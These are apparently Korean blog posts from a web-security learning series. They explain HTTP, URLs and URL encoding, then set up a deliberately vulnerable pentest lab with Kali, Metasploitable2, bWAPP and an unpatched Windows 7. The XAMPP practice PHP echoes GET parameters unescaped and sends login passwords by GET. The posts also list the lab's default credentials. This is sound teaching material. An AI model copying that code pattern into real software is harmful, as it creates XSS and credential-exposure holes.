HTTP 메시지 - 요청 메시지(Request Message)

메시지 시작줄 = 요청 라인으로 메소드, 요청 URL, 버전을 포함

메시지 헤더 = 요청의 속성, 추가 정보들을 포함

메시지 바디 = 엔티티 바디가 들어감, 메시지의 데이터가 들어가는 부분으로 데이터 전송을 목적으로 설계됨.

엔티티 바디는 메소드에 따라 존재 유/무가 결정된다. → GET or POST

그림9 - HTTP 요청 메시지 구조

HTTP 메시지 - 응답 메시지(Response Message)

메시지의 시작줄 = 상태 라인으로 버전, 상태 코드, 응답 문구를 포함

메시지 헤더 = 응답의 속성, 추가 정보들이 포함

메시지 바디 = 엔티티 바디가 들어감, 메시지의 데이터가 들어가는 부분으로 데이터 전송을 목적으로 설계됨.

엔티티 바디는 메소드에 따라 존재 유/무가 결정된다. → GET or POST

그림10 - HTTP 응답 메시지 구조

HTTP 메소드 - GET/POST 메소드

HTTP 메소드에는 여러가지가 있으나, GET/POST 메소드가 일반적으로 웹 통신 시 가장 많이 사용된다.

GET/POST 메소드는 클라이언트에서 서버에 데이터를 전달할 때 사용되는 방식으로 GET/POST 메소드 별로 차이가 있다.

GET 방식: URL에 데이터를 실어서 전송한다. → 자원을 요청

POST 방식: 메시지 바디에 데이터를 실어서 전송한다. → 서버에 데이터 전달, Action

POST 방식은 Content-Type 헤더가 없으면 메시지 바디값을 해석 할 수 없다.

그림11 - GET/POST 메소드 차이

HTTP 상태코드

클라이언트가 요청을 할 경우 서버는 요청에 대한 상세 결과를 알려준다 = 상태 코드(Status Code)

상태 코드는 3자리 숫자로 구성되어 있으며, 뒤에 응답 문구가 붙는다. 응답 문구는 상태 코드에 대한 설명이다.

그림12 - HTTP 상태 코드

HTTP 상태코드 - 상태코드의 에러 페이지에 다른 웹 서버 식별

상태 코드에 따라 출력되는 에러 페이지는 서버 별로 다르기 때문에 이를 통해 사용되는 웹 서버 혹은 WAS를 식별 할 수 있다.

그림13 - 웹 서버 별로 다른 에러 페이지

HTTP 메시지 헤더

메시지 헤더는 메시지를 구성하는 요소로 클라이언트와 서버가 무엇을 할지 결정하고 처리하기 위한 정보들이 들어있으며, 요청 메시지와 응답 메시지에는 반드시 메시지 헤더가 포함이 되어 있다.

헤더의 종류에는 크게 5가지로 분류가 되며, 확장 헤더는 HTTP 명세에는 추가되지 않은 비 표준 헤더이다.

HTTP/1.1에 정의되어 있는 헤더는 총 47가지이다.

그림14 - 메시지 헤더 종류

참고

https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88

XAMPP 설치 및 URL 예약문자, URL 인코딩 실습

Security Engineer — Thu, 7 Nov 2024 22:00:22 +0900

XAMPP 설치

윈도우 환경에 APM 환경 구축 (Apache + PHP + MySQL)

Apache, MySQL, PHP, phpMyAdmin(MySQL 을 웹 기반으로 관리하는 프로그램)

구글에서 - xampp 검색 (Apache + MariaDB + PHP + Perl)
https://www.apachefriends.org/

XAMPP for Windows 클릭하여 다운로드

그림1 - XAMPP Windows 설치

APM Setup 은 현재 업데이트를 진행하지 않아 설치하지 말 것! - 악의적인 용도로 사용하는 공격자들이 있음

Installer 실행 시 UAC (User Account Control) 알람이 뜸 - OK 누르고 진행

그림2 - XAMPP 설치(1)

그림3 - XAMPP 설치(2)

그림4 - XMAPP 설치(3)

Next 눌러서 진행, 설치 위치: C:\xampp (보안 상 수정해야 하지만 그대로 진행)
Next 계속 눌러서 진행

그림5 - XAMPP 설치(4)

홈 네트워크 클릭 후 액세스 허용 클릭

그림6 - XAMPP 설치(5)

Finish 클릭 후 XAMPP 실행

다양한 프로그램 설치 시 서로 사용하는 포트가 충돌하는 경우가 있어서 수정해야 하는 경우도 있음

이런 경우 Config 에서 포트를 변경해준다.

XAMPP Control Panel 이 뜬다.

그림7 - XAMPP 컨트롤 패널

Apache 와 MySQL 의 Actions 를 Start 를 누르면 초록색으로 변경되면서 실행된다.
무언가 에러가 발생하면(포트 중복 등), 우측에 Config 클릭 - Service and Port Settings - 각 프로그램의 포트 변경이 가능하다.

그림7 같은 경우는 기존에 VMware 사용으로 인한 443 포트 중복으로 인해 포트를 변경해주어야 한다.

포트 변경 방법에는 Apache (httpd.conf) 파일을 통한 변경과, 중복된 VMware 에서 설정을 통해 포트를 변경하는 방법이 있는데, VMware의 HTTPS 포트를 변경하는 방법을 사용했다.

VMware 변경 방법은 아래 블로그에서 참고하였다.

https://webdir.tistory.com/380

VMware 실행 후 Edit > Preference > Shared VMs

기존 443 포트를 11443으로 변경 후 설정을 저장한다.

그림8 - VMware HTTPS 포트 변경

설정 완료 후, XAMPP를 다시 시작하여 Apache와 MySQL을 Start 클릭하여 실행한다.

초록불이 들어오면 정상 실행이 가능하다는 의미다.

그림9 - XAMPP 로 Apache MySQL 실행

인터넷 주소창에 http://localhost/ 입력하여 접속 - Apache 관련 페이지 뜬다 (Apache 정상 접속 확인)

그림10 - localhost 접속

인터넷 주소창에 http://localhost/phpmyadmin/ 입력하여 접속하면 phpmyadmin 페이지가 접속된다. (phpmyadmin 정상 접속 확인)

그림11 - phpmyadmin 페이지 접속

URL 예약문자, URL 인코딩 실습

XAMPP 설치 완료 후 php 파일 작성을 위해 노트 패드를 설치한다.

구글에 notepad++ 검색하여 다운로드
https://notepad-plus-plus.org/downloads/

기본 설정으로 설치 진행, 설치 완료 후 test.php 를 작성한다.

윈도우에서 XAMPP 설치 시 웹 서버 기본 루트는 다음과 같다.

저장 위치: C:\xampp\htdocs

htdocs 폴더에 example 라는 새 폴더를 만든다.test.php 파일을 생성한다.

저장 위치: C:\xampp\htdocs\example

노트패드로 편집 클릭

그림12 - 노트패드로 test.php 편집

아래 코드를 작성한다.

<?php
	$val1 = $_GET["val1"];
	$val2 = $_GET["val2"];
	$val3 = $_GET["val3"];
	
	echo "val1 : {$val1}<br1>";
	echo "val2 : {$val2}<br1>";
	echo "val3 : {$val3}<br1>";
?>

$_GET을 사용하여 GET 메소드로 사용자 입력값을 받는다.

val1이라는 사용자 입력값을 GET 메소드로 받아서 val1 변수에 저장한다.

val이라는 사용자 입력값을 받아서 각 val 변수에서 저장한다.

echo 함수를 사용하여 val1 : 사용자 입력값 형태로 출력한다.

<br> 태그는 \n 개행 문자를 의미한다.

코드 저장 후 127.0.0.1/example/test.php 를 주소창에 입력하여 결과값을 확인한다.

localhost 와 127.0.0.1은 동일하므로 둘중 아무거나 입력한다.

그림13 - test.php 접속

그림13과 같이 val 변수에 값이 삽입되지 않아 이런 에러가 발생한것으로 판단된다.

http://127.0.0.1/example/test.php?val1=test1&val2=test2&val3=test3 를 주소창에 입력하여 접속한다.

그림14 - val 변수값 입력 후 test.php 접속

그림14와 같이 각 val 변수에 입력했던 test 값이 출력되는 것을 확인할 수 있다.

?는 파라미터 시작,

=는 파라미터 값 대입,

&는 다음 파라미터 식별자를 의미한다.

URL 예약문자에 대한 설명은 여기를 참고한다.

다음은 로그인 페이지를 작성 후 서버로 값을 전달해본다.

그림15 - 폴더에 index.php와 loginAction.php 만들기

index.php와 loginAction.php 파일을 생성한다.

index.php는 로그인 페이지 파일이며, loginAction.php는 로그인 한 데이터를 받아서 출력해주는 파일이다.

로그인 시 입력한 데이터가 서버에 어떻게 전달되는지 확인해본다.

아래 코드를 index.php에 작성한다.

<form action="loginAction.php" method="GET">
ID : <input type="text" name="id"><br>
PW : <input type="password" name="pw"><br>
<input type="submit" value="LOGIN">
</form>

action은 데이터를 어디로 보내느냐(전송대상)를 의미하며, loginAction.php 파일을 지정해준다.

method는 데이터 전송 메소드를 의미하며, GET으로 설정한다.

아래 코드를 loginAction.php에 작성한다.

<?php
	$id = $_GET["id"];
	$pw = $_GET["pw"];
	
	echo "ID : {$id}<br>";
	echo "PW : {$pw}<br>";
?>

id 변수에 GET으로 받아온 id 값을 저장한다.

pw 변수에 GET으로 받아온 pw 값을 저장한다.

echo 함수를 사용하여 입력된 ID와 PW 값을 출력해준다.

http://127.0.0.1/example/ 입력하여 접속한다.

index.php는 기본페이지로 따로 index.php를 입력하지 않아도 자동으로 접속된다.

그림15 - index.php 페이지

ID와 PW에 값을 입력 후 LOGIN 버튼을 클릭한다.

그림16- loginAction.php 페이지

ID와 PW에 입력한 값이 출력되는 것을 확인할 수 있다.

URL 확인 시 test+%26%23 으로 값이 변경되어 있는 것을 확인할 수 있는데,

이는 브라우저에서 서버로 데이터를 전송할 때 입력된 데이터를 인코딩하여 전송하는 것을 알 수 있다.

공백 → +, %20 (둘중에 하나로 표시됨)

& → %26

# → %23

참고

https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88

자원을 지정하는 URL

Security Engineer — Wed, 6 Nov 2024 22:00:22 +0900

URL 개념

URL(Uniform Resource Locator) = 통합 자원 지시자

인터넷의 리소스를 가리키는 표준 명칭으로 서버의 자원을 요청할 때 사용된다.

URL로 인터넷 상의 모든 리소스를 요청할 수 있으며, 우리가 흔히 알고 있는 HTTP 뿐만 아니라 FTP, SMTP 관련된 자원 요청도 가능하다.

그림1 - URL 사용한 클라이언트/서버 통신

동작 원리(1)

URL로 자원 요청 시 동작 원리는 아래와 같다.

그림2 - logo.png 파일 요청

1. 클라이언트에서 URL로 자원 요청 - HTTP Request

2. 웹 서버에서 URL에 해당하는 자원을 Body 에 담아서 반환 - HTTP Response

URL 구조 분석

그림3 - URL 구조 분석

[01] 스키마

- 사용하게 될 프로토콜이 명시되어 있는 부분으로 위의 URL은 http 프로토콜을 통해 자원을 요청한다. 그 외에도 https, ftp, file 등이 있다. 해당 부분은 알파벳으로 시작해야 되며 대소문자를 가리지 않는다. 프로토콜 뒤에 콜론 ':'이 붙는다.

[02] 호스트(서버 주소)

- 자원을 가진 컴퓨터의 위치가 명시되어 있다. 웹 브라우저에서는 이를 참조하여 IP주소를 알아낸다. 뒤에 포트번호가 원래는 표기가 되어 있어야하나, HTTP는 기본 80포트를 사용하며 생략이 가능하다. 따라서 생략이 되어 있는 경우는 80포트를 사용한다고 볼 수 있다. 80포트가 아닌 다른 포트번호를 사용할 경우 표시를 해줘야 한다.(ex. 8080)

[03] 자원이 존재하는 디렉터리

- 이보다 상위 디렉터리에 자원이 존재할 경우 디렉터리는 표기되지 않는다.

[04] 요청할 자원의 이름

동작 원리(2)

자원을 지정하지 않을 경우 서버의 어떤 자원이 호출될까?

그림4 - index.jsp 반환

네이버 접속 시 naver.com으로 요청하게 된다. 이때 네이버의 웹 서버 or WAS에서는 사전에 설정해둔 기본 페이지(index 페이지)를 반환하게 된다. IIS의 경우 default 페이지도 호출된다. - 설정을 통해서 변경 가능하다.

도메인만 명시되어 있고, 자원은 명시되지 않는 경우 기본 페이지(index 페이지)를 호출한다.

URL 예약 문자(메타 문자)

URL 상에서 특정 기능을 하는 문자로 웹 클라이언트와 서버 간에 서로 예약이 되어 있는 문자이다.

문자	인코딩
?	파라미터가 시작된다는 것을 알려줌 (자원과 사용자 입력값 구분의 기준)
=	파라미터 값 대입
&	다음 파라미터 식별자
+	공백
#	뒤에 오는 모든 것 제거
*! ( ) ; : @ $ , / [ ]**	그 외 문자...

URL 예시

http://www.example.com/board.do?val1=test&val2=test+is

URL 구조 분석

그림5 - URL 구조 분석

데이터에 URL 예약 문자가 들어갈 경우 어떻게 전송될까?!

그림6 - 데이터에 URL 예약 문자가 있는 경우

그림6 처럼 전송되지 않는다. cre 뒤에 &#는 데이터로 인식하지 않는다.

URL 인코딩

URL 상에서 문자를 표현하는 방법으로 데이터 전송 상에 손실을 막기 위해서 인코딩을 사용한다.

또한, 예약 문자를 단순 데이터로 전송이 될 수 있도록 인코딩을 한다.

웹 브라우저를 사용할 경우 브라우저에서 URL 인코딩은 자동으로 해준다.

※아래의 인코딩 문자는 외워 두는 것이 좋다.

문자	인코딩
&	%26
%	%25
+	%2B
공백	%20
=	%3D
#	%23
'	%27
?	%3F

웹 구조에서 살펴본 URL 인코딩

그림7 - 로그인 시 입력한 데이터가 웹 브라우저를 통해 서버로 전송되는 과정

1. 사용자는 아이디와 패스워드를 입력하여 로그인 한다.

2. 웹 브라우저는 아이디와 패스워드 값 내에 있는 URL 예약 문자를 인코딩하여 서버로 전송한다. - HTTP Request

참고

https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88

웹을 구성하는 3대 요소

Security Engineer — Tue, 5 Nov 2024 22:00:29 +0900

웹의 기본 구조, 클라이언트/서버 구조

웹은 클라이언트(Client)/서버(Server) 구조로 되어 있다.

사용자 = 클라이언트 = 웹 브라우저(크롬, 엣지 등)

서버 = 웹 서버 = 웹 어플리케이션 서버(WAS)

웹 서버에 따라 PHP, JSP(JAVA), ASP 등 사용되는 언어가 다르다.

그림1 - 클라이언트와 서버

클라이언트/서버 통신 원리

클라이언트 = 서비스를 이용하는 대상, 최초에 서비스 요청을 먼저 한다.

서버 = 서비스를 제공하는 대상, 클라이언트 측으로부터 서비스 요청을 받게되면 그에 대한 서비스 제공

클라이언트 → 서버로의 요청은 HTTP 요청 메시지(HTTP Request Message)라고 한다.

서버 → 클라이언트로의 응답은 HTTP 응답 메시지(HTTP Response Messasge)라고 한다.

그림2 - 클라이언트/서버 통신

웹의 3대 요소

웹을 구성하는 3대 요소로 HTML, HTTP, URL이 있다.

HTTP = 웹 서버와 웹 클라이언트 간에 통신을 할 수 있도록 지원해준다. (프로토콜, 통신 규약)

URL = 웹 클라이언트가 웹 서버로 자원을 요청할 수 있게 해준다. (주소)

HTML = 웹 클라이언트가 웹 서버로 URL을 통한 자원 요청 후 HTML이 담긴 응답을 받으며, 웹 브라우저가 이를 해석하여 사용자에게 구조화된 인터페이스를 출력시켜 준다.

그림3 - HTTP, HTML, URL을 사용하여 서버와 통신

참고

https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88

웹의 탄생 및 발전

Security Engineer — Mon, 4 Nov 2024 20:15:08 +0900

웹 기초 지식의 필요성

웹은 다수의 사용자가 특정 서비스를 이용하며, 서로 대화도 나누고 정보를 주고 받는 생태계 구조이다. 이러한 환경 속에서 취약점 진단을 수행하기 위해 최소한의 지식이 반드시 필요하다.

그림1 - 취약점 진단을 위한 지식 로드맵

1. 웹 기초에 대한 이해

- 웹 통신이 어떻게 이루어 지는지

- GET, POST 메소드

- 세션, 쿠키

2. 웹 어플리케이션에 대한 이해

- php, jsp, asp

(게시판 만들기 → .CRUD, 로그인, 로그아웃, 회원가입)

3. 웹 어플리케이션 로직에 대한 이해

4. 취약점에 대한 이해

5. 응용 취약점에 대한 이해

- 웹 어플리케이션 로직에 대한 이해가 선행되어야 함

6. 대응책 수립 가능

웹의 탄생과 발전

웹은 다수의 네트워크가 모여서 형성된 공간으로 디바이스에 대한 제약없이 웹 클라이언트 프로그램만 있다면 누구나 접근이 가능하다. 이를 통해 서로 정보를 공유하고 교류를 할 수 있는 문화가 형성되는 곳이다. 정확하게는 World Wide Web이라고 하며 이를 줄여서 WWW, W3, WEB이라 부른다.

그림2 - 웹 통신

최초의 웹은 유럽 입자 물리학 연구소(CERN)의 연구원 팀 버너스 리 박사에 의해 탄생하였으며, 멀리 떨어져 있는 동료 연구자와 지식을 공유하기 위해 고안된 기술로 하이퍼텍스트(HyperText) 중심으로 구성이 되었다.

초기의 웹은 단순히 텍스트로 구성 되어 있었으며, 하이퍼텍스트를 이용해 다른 페이지로 이동하였다.

1994년부터 2004년까지 대부분의 웹 사이트가 앞서 말한 텍스트, 링크 구성이며 이를 웹 1.0 시대라고 한다.

이때는 이용자가 글을 등록, 수정, 삭제 등 참여하는 행위는 못하고 이용자는 일방적으로 정보 제공만 받는 형태였다.

즉, 웹 사이트 운영자가 업로드 하는 것 이외에는 볼 수가 없는 것이다.

하이퍼텍스트(HyperText)란?

- 한 문서에서 다른 문서로 접근할 수 있는 일종의 링크이다. 사용자는 이를 통해 다른 페이지로 이동할 수 있으며, 이를 흔히 웹 서핑이라고 한다. 텍스트 내의 하이퍼링크를 클릭하여 다른 텍스트로 이동한다.

그림3 - 하이퍼링크를 통한 텍스트 이동

웹 2.0 시대에 접어들면서 웹은 폭발적으로 성장 하게 된다.

기존 웹 1.0은 일방적으로 정보를 제공 받는 형태였다면, 웹 2.0은 이용자의 참여와 공유가 가능 해졌다. 이때부터 본격적으로 이용자들이 동영상, 이미지를 공유하고 참여가 가능함에 따라 UCC, 블로그, 커뮤니티가 생기는 등 인터넷 이용자들 간의 정보 공유와 참여를 이끌어냈다. 대표적으로 싸이월드와 네이버 지식IN이 있다.

웹 브라우저의 탄생과 발전

웹 브라우저는 웹을 사용할 수 있는 시작점(클라이언트)으로 웹 서버와의 통신을 통해 요청과 응답을 주고 받고 HTML, CSS, Javascript 등의 클라이언트 언어를 해석하여 사용자에게 그래픽 인터페이스(GUI)를 제공해준다.

최초의 웹 브라우저는 1990년 팀 버너스 리에 의해 발명된 "월드와이드웹WorldWideWeb" 이며, 웹을 의미하는 "World Wide Web"과의 구분을 위해 "넥서스(Nexus)"로 변경 되었다.

현재 주로 사용하는 브라우저는 다음과 같다.

마이크로소프트 - 엣지(Edge)

구글 - 크롬(Chrome)

애플 - 사파리(Safari)

모질라 - 파이어폭스(Firefox), 오페라(Opera)

참고

https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88

윈도우 7 취약한 환경 설치하기

Security Engineer — Thu, 29 Aug 2024 01:00:57 +0900

환경 설명

모의해킹 환경 구성을 위한 VMware Workstation Pro 사전 설치 완료
공격자: 칼리리눅스 (2022년 3월 버전)
희생자: Metasploitable2(msfv2), beebox(bee-box v1.6), win7

윈도우 7 설치

D 드라이브에 파일을 다운로드 후 압축 해제를 한다.

반디집을 사용하여 압축 해제 한다.

압축 해제 후 폴더 내에 win7 폴더를 추가로 생성한다.

개인마다 설치경로는 다르므로 아래 경로는 참고만 한다.

비박스 설치 경로: D:\IE11.Win7.For.Windows.VMware

그림1 - VMware Workstation Pro 파일 열기

그림1의 File - Open 을 클릭하여 D드라이브에서 윈도우7 압축해제 파일의 ovf 파일을 불러온다.

그림2 - 윈도우7 ovf 파일 불러오기

이전에 압축해제한 폴더 내에 win7 폴더를 생성하였는데, VM 설치 시 사용하게 된다.

아래 그림3은 win7 폴더에 윈도우7 VM 설치파일을 풀어서 놓는 작업으로 보면 될 것 같다.

그림3 - Import

Import 후 Edit virtual machine settings 를 클릭하여 환경설정을 한다.

그림4 - 윈도우7 환경 설정

Memory는 2GB로 설정한다.

그림5 - Memory 설정

네트워크 어댑터가 없기 때문에 하단에 Add를 클릭 후 Network Adapter를 클릭 후 Finish를 클릭하여 추가한다.

그림6 - Network Adapter 추가

Network Adapter를 추가 후 OK를 클릭하여 설정을 완료한다.

호스트 PC의 환경에 따라 Memory와 Processors 용량이 달라질 수 있지만, 요즘 PC 환경에서는 무리없이 사용가능한 용량이다.

Memory: 가상환경에서 사용하는 RAM Memory 용량

Processors: 가상환경에서 사용하는 CPU 코어 개수

Hard Disk: 가상환경이 차지하는 호스트 PC의 최대 HDD 용량

Network Adapter: NAT (호스트 PC로 부터 IP 할당 받음)

Network 방식에 대한 설명은 여기를 참고한다.

그림7 - 윈도우7 환경 설정

Power on this virtual machine을 클릭하여 윈도우7을 실행한다.

그림8 - 윈도우7 실행

윈도우7 테스트 환경은 약 90 ~ 120일 정도 사용이 가능하다.

접속 화면은 아래 그림9와 같으며, ID와 PW를 확인할 수 있다.

IEUser

Passw0rd!

그림9 - 윈도우7 접속 화면

시작 버튼 → Control Panel → Hardware and Sound → Power Options → Change when the computer sleeps

그림10과 같이 화면 꺼짐 및 컴퓨터 종료 시간을 Never로 설정 후 Save changes를 클릭하여 적용한다.

그림10 - 화면 꺼짐 및 컴퓨터 종료 시간 설정

윈도우7 시간 설정을 위해 우측 시간을 클릭 후 Change date and time settings를 클릭한다.

그림11 - 시간 설정

Change time zone을 클릭하여 시간대를 (UTC +09:00) Seoul로 변경한다.

그림12 - 시간대 서울로 변경

좌측의 시작 버튼 클릭 후, update를 검색하여 윈도우 업데이트 설정에 들어간다.

그림13 - 윈도우 업데이트 설정 들어가기

좌측의 Change settings를 클릭한다.

그림14 - Change settings

취약한 환경을 유지하기 위해 윈도우 자동 업데이트 설정을 업데이트 하지 않는 것으로 변경한다.

Never check for updates를 클릭 후 OK 하여 설정을 완료한다.

그림15 - Never check for updates

윈도우7 환경 설정 후 스냅샷을 찍어 초기설정을 저장한다.

좌측 VM에서 IE11 - Win7를 마우스 우측클릭 후 Snapshot → Take Snapshot 으로 스냅샷을 저장한다.

그림16 - 스냅샷 찍기

스냅샷 이름과 설명은 임의로 설정 후 Take Snapshot을 클릭하여 저장한다.

그림17 - 스냅샷 찍기2

Snapshot Manager에서 방금 찍은 스냅샷을 확인할 수 있으며, Go To를 클릭하면 해당 스냅샷을 찍은 환경으로 복구된다.

그림18 - Snapshot Manager

비박스(Bee-box) 설치하기

Security Engineer — Wed, 28 Aug 2024 01:00:26 +0900

환경 설명

모의해킹 환경 구성을 위한 VMware Workstation Pro 사전 설치 완료
공격자: 칼리리눅스 (2022년 3월 버전)
희생자: Metasploitable2(msfv2), beebox(bee-box v1.6), win7

비박스(Bee-box) 설치

https://sourceforge.net/projects/bwapp/files/bee-box/

bWAPP - Browse /bee-box at SourceForge.net

The Complete PDF SDK Bring PDF viewing, annotating, editing, creation, and generation to any web, mobile, desktop or server framework or application.

sourceforge.net

위 URL 에서 비박스를 다운로드 받는다.

D 드라이브에 파일을 다운로드 후 압축 해제를 한다.

반디집을 사용하여 압축 해제 한다.

개인마다 설치경로는 다르므로 아래 경로는 참고만 한다.

비박스 설치 경로: D:\bee-box_v1.6\bee-box

그림1 - VMware Workstation Pro 파일 열기

그림1의 File - Open 을 클릭하여 D드라이브에서 비박스 압축해제 파일의 VMX 파일을 불러온다.

그림2 - 비박스 vmx 파일 불러오기

비박스를 불러온 후 Edit virtual machine settings 를 클릭하여 환경설정을 한다.

네트워크, 가상환경 사용을 위한 용량 설정 등을 한다.

그림3 - 비박스 환경 설정

위의 그림 3의 설정은 기본 설정으로, Network Adapter 설정을 NAT로 변경해야 한다.

호스트 PC의 환경에 따라 Memory와 Processors 용량이 달라질 수 있지만, 요즘 PC 환경에서는 무리없이 사용가능한 용량이다.

Memory: 가상환경에서 사용하는 RAM Memory 용량

Processors: 가상환경에서 사용하는 CPU 코어 개수

Hard Disk: 가상환경이 차지하는 호스트 PC의 최대 HDD 용량

Network Adapter: NAT (호스트 PC로 부터 IP 할당 받음)

Network 방식에 대한 설명은 여기를 참고한다.

그림4 - Network Adapter 설정 변경

Network Adapter 설정을 NAT를 클릭 후 OK를 눌러서 변경한다.

그림5 - 네트워크 설정 NAT 변경 후 시작

NAT로 변경 후 Power on this virtual machine을 클릭하여 비박스를 시작한다.

그림6 에서 I copied 클릭하여 다음으로 이동한다.

그림6 - 비박스 실행

비박스 접속 후, 상단의 터미널 아이콘을 클릭해서 터미널을 연다.

ifconfig 명령어를 입력하여 IP주소 및 네트워크 구성 정보를 확인한다.

네트워크 환경 설정을 NAT로 설정하였으므로, 사설 IP대역인 192.168.0.0/16 대역으로 설정된다.

그림7 - 터미널 열고 IP 주소 확인

호스트 PC의 브라우저에서 192.168.197.140에 접속하면 비박스 웹 콘솔로 접속이 가능하다.

bWAPP가 주로 웹 해킹 실습에 사용되는 테스트 환경이다.

그림8 - 비박스 웹 콘솔

bWAPP를 클릭하면 테스트 환경에 접속하게 되는데, ID에 bee를 PW에 bug를 입력하여 로그인 한다.

security level은 low, medium, high 단계로 구성되어 있으며, 각 단계별로 난이도 차이가 있다.

medium: 우회기법을 사용해야 통과되는 수준

high: 시큐어 코딩이 잘 되어 있는 수준

그림9 - bWAPP 로그인

로그인 후 우측에 Choose your bug를 클릭하여 OWASP Top 10에 있는 공격들을 선택할 수 있다.

그림10 - bWAPP OWASP Top 10 공격 선택

비박스 키보드 설정

비박스 사용하다보면 터미널에서 글자 입력 시 원하는 글자가 입력이 안되는 경우가 있다.

이런 경우 키보드 설정을 통해 원하는 글자를 입력할 수 있도록 한다.

터미널에서 zxcvbnm을 입력하면 아래 그림11과 같이 다르게 입력된다.

그림11 - 비박스 키보드 입력 오류

좌측 상단의 System → Preferences → Keyboard 로 들어간다.

그림12 - System → Preferences → Keyboard

Layouts → Add 클릭한다.

그림13 - Layouts → Add

Korea → Add 클릭한다.

그림14 - Korea → Add

Default 클릭 후 Close 클릭하여 설정을 완료한다.

그림15 - Default → Close

기존 터미널은 종료 후, 새로운 터미널을 열고 zxcvbnm 입력 시 정상적으로 입력되는 것을 확인할 수 있다.

그림16 - 키보드 정상 입력

비박스 VM을 껏다 키게되면, 키보드 입력이 다시 이상하게 입력되는 경우가 있는데 이런 경우, 다시 키보드 설정에 들어가서 Belgium을 Remove 후 Close 하면 정상적으로 입력된다.

그림 17 - Belgium 언어 Remove

Metasploitable2 설치하기

Security Engineer — Tue, 27 Aug 2024 01:00:34 +0900

환경 설명

모의해킹 환경 구성을 위한 VMware Workstation Pro 사전 설치 완료
공격자: 칼리리눅스 (2022년 3월 버전)
희생자: Metasploitable2(msfv2), beebox, win7

Metasploitable2 설치

Metasploitable2은 침투 당하는 서버로, 모의해킹을 위해 Metasploit에서 의도적으로 취약하게 만든 VM(가상머신)이다.

https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

Metasploitable - Browse /Metasploitable2 at SourceForge.net

Featuring an intuitive web-based interface, Device42 actionable insight into enterprise infrastructures, with clearly identified hardware, software, service, and network interdependencies, powerful visualizations, and easy-to-use UI, webhooks, APIs, and so

sourceforge.net

위 URL 에서 msfv2를 다운로드 받는다.

D 드라이브에 파일을 다운로드 후 압축 해제를 한다.

반디집을 사용하여 압축 해제 한다.

개인마다 설치경로는 다르므로 아래 경로는 참고만 한다.

Metasploitable2 설치 경로: D:\metasploitable-linux-2.0.0_2\Metasploitable2-Linux

그림1 - VMware Workstation Pro 파일 열기

그림1의 File - Open 을 클릭하여 D드라이브에서 Metasploitable2 압축해제 파일의 VMX 파일을 불러온다.

그림2 - Metasploitable2 vmx 파일 불러오기

Metasploitable2를 불러온 후 Edit virtual machine settings 를 클릭하여 환경설정을 한다.

네트워크, 가상환경 사용을 위한 용량 설정 등을 한다.

그림3 - Metasploitable2 환경 설정

위의 그림 3의 설정은 기본 설정으로, 위 설정으로 그대로 사용한다.

호스트 PC의 환경에 따라 Memory와 Processors 용량이 달라질 수 있지만, 요즘 PC 환경에서는 무리없이 사용가능한 용량이다.

Memory: 가상환경에서 사용하는 RAM Memory 용량

Processors: 가상환경에서 사용하는 CPU 코어 개수

Hard Disk: 가상환경이 차지하는 호스트 PC의 최대 HDD 용량

Network Adapter: NAT (호스트 PC로 부터 IP 할당 받음)

Network 방식에 대한 설명은 여기를 참고한다.

그림5 - Metasploitable2 실행

그림6 에서 I copied 클릭하여 다음으로 이동한다.

그림6 - Metasploitable2 실행2

그림7을 보면 ID와PW 모두 msfadmin을 입력하여 접속할 수 있다고 나와있다.

msfadmin을 입력하여 접속한다.

마우스 커서를 호스트PC로 다시 꺼내고 싶으면 ctrl + alt를 누르면 된다.

그림7 - Metasploitable2 로그인

로그인에 성공하면 그림8과 같은 화면이 나온다.

그림8 - Metasploitable2 로그인 성공

ifconfig 명령어를 입력하여 IP주소 및 네트워크 구성 정보를 확인한다.

네트워크 환경 설정을 NAT로 설정하였으므로, 사설 IP대역인 192.168.0.0/16 대역으로 설정된다.

그림9 - ifconfig로 IP주소 및 네트워크 정보 확인

호스트 PC의 브라우저에서 192.168.197.139에 접속하면 Metasploitable2 웹 콘솔로 접속이 가능하다.

그림10 - Metasploitable2 웹 콘솔

Metasploitable2에는 웹 및 시스템 취약점 관련 환경이 포함되어 있다.

칼리리눅스 설치하기

Security Engineer — Mon, 26 Aug 2024 01:00:23 +0900

환경 설명

모의해킹 환경 구성을 위한 VMware Workstation Pro 사전 설치 완료
공격자: 칼리리눅스 (2022년 3월 버전)
희생자: msfv2, beebox, win7

칼리리눅스 설치

https://www.kali.org/get-kali/#kali-virtual-machines

Get Kali | Kali Linux

Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments.

www.kali.org

위 URL 에서 VM용 칼리리눅스 다운로드를 한다.

D 드라이브에 파일을 다운로드 후 압축 해제를 한다.

반디집을 사용하여 압축 해제 한다.

개인마다 설치경로는 다르므로 아래 경로는 참고만 한다.

칼리리눅스 설치 경로: D:\kali-linux-2022.3-vmware-amd64\kali-linux-2022.3-vmware-amd64.vmwarevm

그림1 - VMware Workstation Pro 파일 열기

그림1의 File - Open 을 클릭하여 D드라이브에서 칼리리눅스 압축해제 파일의 VMX 파일을 불러온다.

그림2 - 칼리리눅스 vmx 파일 불러오기

칼리리눅스를 불러온 후 Edit virtual machine settings 를 클릭하여 환경설정을 한다.

네트워크, 가상환경 사용을 위한 용량 설정 등을 한다.

그림3 - 칼리리눅스 환경 설정

아래 그림4의 환경 설정을 기본으로 사용한다.

호스트 PC의 환경에 따라 Memory와 Processors 용량이 달라질 수 있지만, 요즘 PC 환경에서는 무리없이 사용가능한 용량이다.

Memory: 가상환경에서 사용하는 RAM Memory 용량

Processors: 가상환경에서 사용하는 CPU 코어 개수

Hard Disk: 가상환경이 차지하는 호스트 PC의 최대 HDD 용량

Network Adapter: NAT (호스트 PC로 부터 IP 할당 받음)

Network 방식에 대한 설명은 여기를 참고한다.

그림4 - 칼리리눅스 기본 환경설정

Power on this virtual machine을 클릭하여 칼리리눅스를 실행한다.

그림5 - 칼리리눅스 실행

칼리리눅스 기본 ID와 PW는 kali 를 입력하여 접속한다.

그림6 - 칼리리눅스 접속

